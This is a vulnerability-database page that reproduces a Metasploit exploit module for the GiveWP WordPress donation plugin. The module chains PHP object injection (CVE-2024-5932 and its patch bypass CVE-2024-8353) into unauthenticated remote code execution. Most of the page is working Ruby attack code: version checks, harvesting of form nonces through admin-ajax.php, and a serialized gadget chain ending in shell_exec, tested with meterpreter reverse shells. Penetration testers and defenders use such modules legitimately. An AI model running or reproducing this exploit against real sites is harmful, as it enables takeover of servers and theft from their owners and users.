Lucene search
+L

GiveWP Unauthenticated Donation Process Exploit

🗓️ 25 Aug 2024 00:00:00Reported by Villu Orav, EQSTLab, cuokon, Julien Ahrens, Valentin LobsteinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 739 Views

GiveWP Unauthenticated Donation Process Exploit, Vulnerable to PHP Object Injection (POI) attack allowing arbitrary code executio

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Givewp
30 Sep 202417:33
githubexploit
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Givewp
21 Aug 202409:51
githubexploit
circl
Circl
CVE-2024-8353
28 Aug 202420:39
circl
cnnvd
CNNVD
WordPress plugin GiveWP 代码问题漏洞
28 Sep 202400:00
cnnvd
cve
CVE
CVE-2024-8353
28 Sep 202402:04
cve
cvelist
Cvelist
CVE-2024-8353 GiveWP – Donation Plugin and Fundraising Platform <= 3.16.1 - Unauthenticated PHP Object Injection
28 Sep 202402:04
cvelist
kitploit
Kitploit
CVE-2024-8353-PoC
31 Aug 202616:57
kitploit
kitploit
Kitploit
CVE-2024-8353
5 Sep 202611:04
kitploit
nuclei
Nuclei
GiveWP Donation Plugin <= 3.16.1 - Unauthenticated PHP Object Injection
5 Sep 202602:04
nuclei
nvd
NVD
CVE-2024-8353
28 Sep 202402:15
nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GiveWP Unauthenticated Donation Process Exploit',
        'Description' => %q{
          The GiveWP Donation Plugin and Fundraising Platform for WordPress, in all versions up to and including 3.16.1,
          is vulnerable to a PHP Object Injection (POI) attack that allows unauthenticated arbitrary code execution.
          Although a patch was introduced in version 3.14.2, it was incorrect and can be bypassed.
          This means the vulnerability remains exploitable in subsequent versions due to the ineffective patch.
        },

        'License' => MSF_LICENSE,
        'Author' => [
          'Villu Orav',         # Initial Discovery
          'EQSTLab',            # Proof of Concept
          'cuokon',             # Bypass (CVE-2024-8353)
          'Julien Ahrens',      # Vulnerability Analysis
          'Valentin Lobstein'   # Metasploit Module
        ],
        'References' => [
          ['CVE', '2024-5932'],
          ['URL', 'https://github.com/EQSTLab/CVE-2024-5932'],
          ['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'],
          ['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin'],

          ['CVE', '2024-8353'],
          ['URL', 'https://github.com/EQSTLab/CVE-2024-8353'],
          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-donation-plugin-and-fundraising-platform-3161-unauthenticated-php-object-injection']
        ],
        'DisclosureDate' => '2024-08-25',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
      )
  end

  def check
    return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    print_status("WordPress Version: #{wordpress_version}") if wordpress_version

    detected_version = check_plugin_version_from_readme('give')&.details&.dig(:version)

    if detected_version.nil?
      print_warning('Unable to determine the GiveWP plugin version.')
      return CheckCode::Unknown('No response received from the target')
    end

    detected_version = Rex::Version.new(detected_version)
    print_good("Detected GiveWP Plugin version: #{detected_version}")

    if detected_version < Rex::Version.new('3.14.2')
      print_good('Vulnerable to both CVE-2024-5932 and CVE-2024-8353 (bypass).')
      return CheckCode::Appears('The target is running a vulnerable version')
    end

    if detected_version < Rex::Version.new('3.16.2')
      print_good('Vulnerable to CVE-2024-8353 (bypass).')
      return CheckCode::Appears('The target is running a vulnerable version')
    end

    print_status("GiveWP Plugin version #{detected_version} is not vulnerable.")
    CheckCode::Safe('The target is not running a vulnerable version')
  end

  def exploit
    forms = fetch_form_list
    fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty?

    selected_form = forms.sample
    valid_form = retrieve_and_analyze_form(selected_form['id'])

    return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form

    print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.")
    send_exploit_request(
      valid_form['give_form_id'],
      valid_form['give_form_hash'],
      valid_form['give_price_id'],
      valid_form['give_amount']
    )
  end

  def fetch_form_list
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'data' => 'action=give_form_search'
    )

    return print_error('Failed to retrieve form list.') unless res&.code == 200

    forms = JSON.parse(res.body)
    form_ids = forms.map { |form| form['id'] }.sort

    print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}")
    forms
  end

  def retrieve_and_analyze_form(form_id)
    form_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id }
    )

    return unless form_res&.code == 200

    form_data = JSON.parse(form_res.body)
    give_form_id = form_id
    give_form_hash = form_data['data']
    give_price_id = '0'
    give_amount = '10'
    # Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.

    return unless give_form_hash

    {
      'give_form_id' => give_form_id,
      'give_form_hash' => give_form_hash,
      'give_price_id' => give_price_id,
      'give_amount' => give_amount
    }
  end

  def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount)
    final_payload = format(
      '\\O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \
      'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \
      's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \
      'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \
      's:10:"shell_exec";s:12:"\\0*\\0generator";' \
      'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \
      's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%<length>d:"%<encoded>s";}}' \
      's:13:"\\0*\\0maxRetries";i:10;}}}}}}',
      length: payload.encoded.length,
      encoded: payload.encoded
    )

    data = {
      'give-form-id' => give_form_id,
      'give-form-hash' => give_form_hash,
      'give-price-id' => give_price_id,
      'give-amount' => give_amount,
      'give_first' => Faker::Name.first_name,
      'give_last' => Faker::Name.last_name,
      'give_email' => Faker::Internet.email,
      'give_title' => final_payload,
      'give-gateway' => 'offline',
      'action' => 'give_process_donation'
    }

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'data' => URI.encode_www_form(data)
    }, 0)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Aug 2024 00:00Current
9High risk
Vulners AI Score9
CVSS 3.19.8 - 10
EPSS0.2872
SSVC
739